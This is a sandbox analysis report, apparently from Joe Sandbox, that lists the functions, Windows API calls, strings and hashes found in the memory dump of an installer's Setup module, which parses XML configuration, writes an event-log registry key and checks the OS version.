Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw__fassign__get_errno_wcstoulwcstoxl
String ID: "$schema validation failure: empty value, %s, for %s$schema validation failure: non-numeric value, %s, for %s
API String ID: 2631245360-326575430
Opcode ID: 1d9c6ef3d13a34ce02b9c59b41c153fffac2bbae6e81e672b679dcdadca0513e
Instruction ID: cae07f709545c4854f120134270f13f897343375770197025f25e395320963dc
Opcode Fuzzy Hash: 1d9c6ef3d13a34ce02b9c59b41c153fffac2bbae6e81e672b679dcdadca0513e
Instruction Fuzzy Hash: 82619571900149EFCF10DFE8C9849EEBBB9BF15318F14899AE111A7B41D734DA09CB62

Function 6C8F51C0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 154COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C8F51C7
CoInitialize.OLE32(00000000), ref: 6C8F51DC

Part of subcall function 6C918859: SysStringByteLen.OLEAUT32(00000000), ref: 6C918860
Part of subcall function 6C918859: SysAllocStringByteLen.OLEAUT32(?,00000000), ref: 6C918869

Part of subcall function 6C8CB00D: __EH_prolog3.LIBCMT ref: 6C8CB014
Part of subcall function 6C8CB00D: SysFreeString.OLEAUT32(?), ref: 6C8CB044

CoUninitialize.COMBASE(?,?,00000000,?,?,?,?,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml,?,?), ref: 6C8F538C

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8CA6DB: __EH_prolog3.LIBCMT ref: 6C8CA6E2
Part of subcall function 6C8CA6DB: SysFreeString.OLEAUT32(?), ref: 6C8CA72B

Part of subcall function 6C8CA7C3: __EH_prolog3.LIBCMT ref: 6C8CA7CA

__CxxThrowException@8.LIBCMT ref: 6C8F5343

Strings

//BlockIf[@ID], xrefs: 6C8F5218
ParameterInfo.xml, xrefs: 6C8F52FE
BlockIf/@ID cannot contain any token (#(loc.[Name]) references. BlockIf/@ID=", xrefs: 6C8F52CB
#(loc., xrefs: 6C8F52B7

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3String$ByteFree$AllocException@8H_prolog3_catchInitializeThrowUninitialize
String ID: #(loc.$//BlockIf[@ID]$BlockIf/@ID cannot contain any token (#(loc.[Name]) references. BlockIf/@ID="$ParameterInfo.xml
API String ID: 3727013976-3244902561
Opcode ID: 90e6bcfca06097c0fe416f5de155401fb1d34b537aadf6f11ba8ee84e78e7dff
Instruction ID: f7c7e8c755b9a7ded4bf80b96d97327804afd19da3cb139e7913d598b924747b
Opcode Fuzzy Hash: 90e6bcfca06097c0fe416f5de155401fb1d34b537aadf6f11ba8ee84e78e7dff
Instruction Fuzzy Hash: D351637190424CDFCB10DBE8CA84ADEBBB5AF15318F248569E125E7B80C774DA4ACB61

Function 6C8D50D5 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 140comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C8D50DC

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8F8380: __EH_prolog3.LIBCMT ref: 6C8F8387

Part of subcall function 6C8C388B: __EH_prolog3.LIBCMT ref: 6C8C3892

CoInitialize.OLE32(00000000), ref: 6C8D512A
CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,00000738,?,?,?,00000000,?,?,?,38D98A99,?,?,?), ref: 6C8D5148
__CxxThrowException@8.LIBCMT ref: 6C8D5270

Part of subcall function 6C8D54B1: __EH_prolog3.LIBCMT ref: 6C8D54B8
Part of subcall function 6C8D54B1: __CxxThrowException@8.LIBCMT ref: 6C8D5540

CoUninitialize.COMBASE(02F92298,?,succeeded,?,?,?,00000000,?,?,?,38D98A99,?,?,?), ref: 6C8D51E6

Strings

threw exception, xrefs: 6C8D50E4
IronMan::LocalizedData::CreateLocalizedData, xrefs: 6C8D50F7
succeeded, xrefs: 6C8D519D

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw$CreateH_prolog3_catchInitializeInstanceUninitialize
String ID: IronMan::LocalizedData::CreateLocalizedData$succeeded$threw exception
API String ID: 4097945976-352736096
Opcode ID: 6b2e3742f98a86ae9825ec5acac1c091a3d7c4d74f0d643a01b7c54819f87fe8
Instruction ID: 95203b4699fe8107627b18452559b2be40eae6261f0232d2771b557d8f237725
Opcode Fuzzy Hash: 6b2e3742f98a86ae9825ec5acac1c091a3d7c4d74f0d643a01b7c54819f87fe8
Instruction Fuzzy Hash: 8D514D7090020DEFCB10CFA8C984ADE7B79AF45318F14895AF115EB750C735EA49CBA1

Function 6C9159F8 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 116COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9159FF
GetCommandLineW.KERNEL32(?), ref: 6C915A64

Part of subcall function 6C8FFF21: _wcsnlen.LIBCMT ref: 6C8FFF54
Part of subcall function 6C8FFF21: _memcpy_s.LIBCMT ref: 6C8FFF8A

Strings

- to be downloaded, xrefs: 6C915B05
- available locally, xrefs: 6C915AEC
- available but not verified yet, xrefs: 6C915ADC
- available locally and verified., xrefs: 6C915AC2
not locally available, but no URL to bedownloaded - error!, xrefs: 6C915B13
- payload not required for this item to perform action., xrefs: 6C915A2C

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: CommandH_prolog3Line_memcpy_s_wcsnlen
String ID: - available but not verified yet$ - available locally$ - available locally and verified.$ - payload not required for this item to perform action.$ - to be downloaded$ not locally available, but no URL to bedownloaded - error!
API String ID: 969748958-1544932709
Opcode ID: f15a5d64650b3eec377a83351dab0a985b50acdeb67acfa69b3a26a4d7f6c0e8
Instruction ID: 93d4a1577c5e628718ba570ca0f977fc72a6ea756e6f6b7d153c776c1fb24004
Opcode Fuzzy Hash: f15a5d64650b3eec377a83351dab0a985b50acdeb67acfa69b3a26a4d7f6c0e8
Instruction Fuzzy Hash: 5C41E431589209AFDF21CFA8C986EDE3BA89F25348F004855F910A7F91C731CA59D7A1

Function 6C8C77AF Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,System\CurrentControlSet\Services\Eventlog\Application\VSSetup,00000000,00020019,?,?,6C8F831D,00000000), ref: 6C8C77E8
RegCreateKeyExW.KERNEL32(80000002,System\CurrentControlSet\Services\Eventlog\Application\VSSetup,00000000,00000000,00000000,00020006,00000000,?,00000000,?,6C8F831D,00000000), ref: 6C8C7805

Part of subcall function 6C8C787B: __EH_prolog3.LIBCMT ref: 6C8C7882
Part of subcall function 6C8C787B: RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\PCHealth\ErrorReporting\DW\Installed,00000000,00020019,?,00000014,6C8C781A,?,6C8F831D,00000000), ref: 6C8C78B2
Part of subcall function 6C8C787B: RegQueryValueExW.ADVAPI32(?,DW0200,00000000,00000000,?,?,?,6C8F831D,00000000), ref: 6C8C78D8
Part of subcall function 6C8C787B: RegCloseKey.ADVAPI32(?,?,6C8F831D,00000000), ref: 6C8C78E4
Part of subcall function 6C8C787B: GetFileAttributesW.KERNEL32(?,?,6C8F831D,00000000), ref: 6C8C78F9

RegSetValueExW.KERNEL32(?,EventMessageFile,00000000,00000002,?,00000208,?,6C8F831D,00000000), ref: 6C8C7836
RegSetValueExW.KERNEL32(?,TypesSupported,00000000,00000004,?,00000004,?,6C8F831D,00000000), ref: 6C8C7859
RegCloseKey.KERNEL32(?,?,6C8F831D,00000000), ref: 6C8C7861

Strings

System\CurrentControlSet\Services\Eventlog\Application\VSSetup, xrefs: 6C8C77D6, 6C8C77DB, 6C8C7803
EventMessageFile, xrefs: 6C8C782B
TypesSupported, xrefs: 6C8C7844

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Value$CloseOpen$AttributesCreateFileH_prolog3Query
String ID: EventMessageFile$System\CurrentControlSet\Services\Eventlog\Application\VSSetup$TypesSupported
API String ID: 4021642227-369282485
Opcode ID: be10560ae8f542cb7fa434c7f23941c0a60caf6d67f2614aea390a7f7965fc34
Instruction ID: ec734f9d5f9e147a6adc64c8fa9fa319a0f83cf8d8142b8664b0ac180f593028
Opcode Fuzzy Hash: be10560ae8f542cb7fa434c7f23941c0a60caf6d67f2614aea390a7f7965fc34
Instruction Fuzzy Hash: 0711C87174123CBAEB309B529C8DFEBBF7DEF51B58F0004A5B61CA2140C6709E44DAA0

Function 6C8CB31F Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 247COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8CB326

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8CB25F: __EH_prolog3.LIBCMT ref: 6C8CB266

__CxxThrowException@8.LIBCMT ref: 6C8CB5A8

Strings

No DisabledCommandLineSwitches block was specified, xrefs: 6C8CB5C8
The DisabledCommandLineSwitches block has no CommandLineSwitches specified - either add them or remove the DisabledCommandLineSwit, xrefs: 6C8CB546
ParameterInfo.xml, xrefs: 6C8CB554
DisabledCommandLineSwitches, xrefs: 6C8CB353
Disabled CommandLineSwitch added: , xrefs: 6C8CB406, 6C8CB4C5

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID: Disabled CommandLineSwitch added: $DisabledCommandLineSwitches$No DisabledCommandLineSwitches block was specified$ParameterInfo.xml$The DisabledCommandLineSwitches block has no CommandLineSwitches specified - either add them or remove the DisabledCommandLineSwit
API String ID: 2489616738-1449725936
Opcode ID: 9e35677885ed0f63e747aa0882b712fb548b50aa2379fe61d03a2eae5a307972
Instruction ID: c00210b1c94a8b9b828470ff687f7077c264fd97bf8f5019b3f2c252c488d67f
Opcode Fuzzy Hash: 9e35677885ed0f63e747aa0882b712fb548b50aa2379fe61d03a2eae5a307972
Instruction Fuzzy Hash: 3BA17C70A00609DFCB10CFA8CA84AEEBBB5BF95308F244959E021EB790C735DE05CB61

Function 6C91537A Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 195COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C915381

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C9268B5: PMDtoOffset.LIBCMT ref: 6C926989
Part of subcall function 6C9268B5: std::bad_exception::bad_exception.LIBCMT ref: 6C9269B3
Part of subcall function 6C9268B5: __CxxThrowException@8.LIBCMT ref: 6C9269C1

Strings

of , xrefs: 6C915461, 6C915466, 6C915473
- not applicable , xrefs: 6C9154E1
nameless item, xrefs: 6C915386
- no products affected by this item. Not Applicable. , xrefs: 6C91557F
- authored action for this item is NoOp, xrefs: 6C915532
Determining state, xrefs: 6C91548F

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8OffsetThrowstd::bad_exception::bad_exception
String ID: - authored action for this item is NoOp$ - no products affected by this item. Not Applicable. $ - not applicable $ of $Determining state$nameless item
API String ID: 3118957153-195430493
Opcode ID: e291cafe8c5e7e358719469006a2fcb9cc24bf337dd4575fa67f5eed003379ae
Instruction ID: bf3e8782b7dfb6d96fe8005df4bc57e1fec932088073fbf52bc775d36bc552be
Opcode Fuzzy Hash: e291cafe8c5e7e358719469006a2fcb9cc24bf337dd4575fa67f5eed003379ae
Instruction Fuzzy Hash: CE61CB7290411CAFCF20DFA8CD05AEE7BB9AF25358F154920E424B7B91C730DA19D7A1

Function 6C8E9048 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8D2E48: __EH_prolog3.LIBCMT ref: 6C8D2E4F

__CxxThrowException@8.LIBCMT ref: 6C8E91B1

Strings

Global Block Checks, xrefs: 6C8E9087, 6C8E90B7
: SuccessBlockers evaluated to true., xrefs: 6C8E91E8
: StopBlockers evaluated to true., xrefs: 6C8E9209
no blocking conditions found, xrefs: 6C8E9078
Checking for global blockers, xrefs: 6C8E90A8
: WarnBlockers evaluated to true., xrefs: 6C8E921D

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID: no blocking conditions found$: StopBlockers evaluated to true.$: SuccessBlockers evaluated to true.$: WarnBlockers evaluated to true.$Checking for global blockers$Global Block Checks
API String ID: 2489616738-2937627051
Opcode ID: 2617c12631a53d82eafb6b339ac8b7620b2c778a0a5f0c435c748f8add0fa2b2
Instruction ID: 871c69607788d8e20be1d7112af3b9f90023aa60ac9c48abf7f9594fdc6e44f1
Opcode Fuzzy Hash: 2617c12631a53d82eafb6b339ac8b7620b2c778a0a5f0c435c748f8add0fa2b2
Instruction Fuzzy Hash: EC7157B1408345AFC720CF59C984A8BBBE8BB89318F404E2EF59983B50D375E949CB52

Function 6C8CB00D Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 152COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8CB014

Part of subcall function 6C8F91AF: CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,?,?,6C8CB029,?,0000002C,6C90D55B,?,?,?,?,00000001), ref: 6C8F91C5

SysFreeString.OLEAUT32(?), ref: 6C8CB044
__CxxThrowException@8.LIBCMT ref: 6C8CB128
SysFreeString.OLEAUT32(?), ref: 6C8CB163

Part of subcall function 6C8C39AD: __EH_prolog3.LIBCMT ref: 6C8C39B4

Strings

m_spDoc->get_documentElement() failed. Parse error is: %s, xrefs: 6C8CB0F6
CoCreateInstance(__uuidof(DOMDocument30)) failed with hr=%d, xrefs: 6C8CB033
m_spDoc->loadXML() failed. Parse error is: %s, xrefs: 6C8CB1CB

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: FreeH_prolog3String$CreateException@8InstanceThrow
String ID: CoCreateInstance(__uuidof(DOMDocument30)) failed with hr=%d$m_spDoc->get_documentElement() failed. Parse error is: %s$m_spDoc->loadXML() failed. Parse error is: %s
API String ID: 1763430278-2525052916
Opcode ID: 5af1b5e37119ee2673f31efabaa3fd9c5ffc738fbf5283ec9adf9987f1765dda
Instruction ID: 232350a7c734256c7cd87445a274466c9f6e5e107f2d66c12f75777b1d55a22c
Opcode Fuzzy Hash: 5af1b5e37119ee2673f31efabaa3fd9c5ffc738fbf5283ec9adf9987f1765dda
Instruction Fuzzy Hash: 90519071900109EFCB10DFE8C984DEEBBB8AF15318F14496AE111A7B50DB34DA49CBA2

Function 6C902C16 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 144fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8C8168: GetFileSize.KERNEL32(?,?,?,?,?,6C8F3B9F,?,?,00000000,?,?,?,?,00000008,6C8FEC79,?), ref: 6C8C8178

PathFileExistsW.SHLWAPI(00000000), ref: 6C902CA8
__CxxThrowException@8.LIBCMT ref: 6C902CE7
CopyFileW.KERNEL32(00000010,00000000,00000000,?), ref: 6C902D19
SetFileAttributesW.KERNEL32(?,00000080), ref: 6C902D32

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C8329: __EH_prolog3.LIBCMT ref: 6C8C8330

Strings

Copy of Header File failed, xrefs: 6C902D8D
DHTML Header File doesn't exist, xrefs: 6C902CB2
DHTMLLogger, xrefs: 6C902DD1

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: File$H_prolog3$AttributesCopyException@8ExistsPathSizeThrow
String ID: Copy of Header File failed$DHTML Header File doesn't exist$DHTMLLogger
API String ID: 1055460099-1824744887
Opcode ID: 352039266fb0339acc5a1009101d9021ac2280a1a925f21db1e9bb951ac39fcb
Instruction ID: dda16217e4408f2bee8d06dda5b49f952cbd15f07dac34bbd0a3837df2cdb4eb
Opcode Fuzzy Hash: 352039266fb0339acc5a1009101d9021ac2280a1a925f21db1e9bb951ac39fcb
Instruction Fuzzy Hash: 76515C712087459FCB20DF68C944A9FBBE9BF99358F400E2EF1A497A90D734D609CB52

Function 6C8F4E70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 141fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F4E77

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C5FCE: __EH_prolog3.LIBCMT ref: 6C8C5FD5
Part of subcall function 6C8C5FCE: PathIsRelativeW.SHLWAPI(?,?,?,?,?,ParameterInfo.xml,?,?,00000738,6C8FFA6E,?,6C8BA794,02F92298), ref: 6C8C6018

__CxxThrowException@8.LIBCMT ref: 6C8F4F68

Part of subcall function 6C9214AA: KiUserExceptionDispatcher.NTDLL(?,?,6C91C129,00000C00,?,?,?,?,6C91C129,00000C00,6C93BA3C,6C9576D4,00000C00,00000020,6C8FF845,?), ref: 6C9214EC

Part of subcall function 6C8C838A: __EH_prolog3.LIBCMT ref: 6C8C8391

Part of subcall function 6C8CA378: __EH_prolog3.LIBCMT ref: 6C8CA37F

ReadFile.KERNEL32(?,?,00000002,?,00000000,?,80000000,00000001,00000003,00000080,00000000,?,?,?,?,0000002C), ref: 6C8F4F7E
CloseHandle.KERNEL32(?), ref: 6C8F4FA1

Part of subcall function 6C8C8329: __EH_prolog3.LIBCMT ref: 6C8C8330

Part of subcall function 6C8CA3BC: __EH_prolog3.LIBCMT ref: 6C8CA3C3

Strings

ParameterInfo.xml, xrefs: 6C8F4FE5
File %s is not UTF-16 with Byte Order Marks (BOM), xrefs: 6C8F4FCC
File %s could not be opened for read, xrefs: 6C8F4F0F

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$CloseDispatcherExceptionException@8FileHandlePathReadRelativeThrowUser
String ID: File %s could not be opened for read$File %s is not UTF-16 with Byte Order Marks (BOM)$ParameterInfo.xml
API String ID: 682709548-652212332
Opcode ID: 8eb08dfa3e3e0834bb8edb3eee15f7505127bd79fe2204886cf0537561f083be
Instruction ID: 2dcc7b41f7a88c838215906791cd01b2f333a65d9b202aa2bcaaaa1f8025bb42
Opcode Fuzzy Hash: 8eb08dfa3e3e0834bb8edb3eee15f7505127bd79fe2204886cf0537561f083be
Instruction Fuzzy Hash: 8F516B71900209EFDF21DFE8CA44ADEBBB9AF14318F14856AE114B7B90D730DA09CB61

Function 6C8F7F6A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C8F7F74

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

_memset.LIBCMT ref: 6C8F7FD4
GetVersionExW.KERNEL32 ref: 6C8F7FED

Strings

OS Description = %s, xrefs: 6C8F80BA
OS Version = %d.%d.%d, Platform %d, xrefs: 6C8F8033
OS Version Information, xrefs: 6C8F7F91, 6C8F7F96, 6C8F7FBC
Could not determine OS version, xrefs: 6C8F80E3

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3H_prolog3_Version_memset
String ID: Could not determine OS version$OS Description = %s$OS Version = %d.%d.%d, Platform %d$OS Version Information
API String ID: 3727276431-2914782974
Opcode ID: df75388b6e7b1c6847ad6a5ac785f183fbe96bfd89877a470e2ad44d14664363
Instruction ID: 94d183ec2ee44d6aaeb8b6416b835d5ab979a15c21e9709d378ad707191eb5f3
Opcode Fuzzy Hash: df75388b6e7b1c6847ad6a5ac785f183fbe96bfd89877a470e2ad44d14664363
Instruction Fuzzy Hash: 8B4159319001189BCB20DBA8CD45FCDB7B9AF19308F4449E5E148ABA90DB70EB99CB91

Function 6C8C95C1 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C95C8
VariantInit.OLEAUT32(?), ref: 6C8C95DB
VariantClear.OLEAUT32(00000008), ref: 6C8C962E
SysFreeString.OLEAUT32(?), ref: 6C8C960E

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

SysAllocString.OLEAUT32(00000000), ref: 6C8C9651
__CxxThrowException@8.LIBCMT ref: 6C8C96F8

Strings

schema validation error: attribute not found - , xrefs: 6C8C9676

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3StringVariant$AllocClearException@8FreeInitThrow
String ID: schema validation error: attribute not found -
API String ID: 8365360-3489740836
Opcode ID: 51e156fe4ae9d8c4085ff978898313fb6fa028abce0cf328b087925ea8d6992c
Instruction ID: 5592b4f342f212de754e5bcabc72a3d405ccdffd5dbe1ef92f0a3f427e6d4816
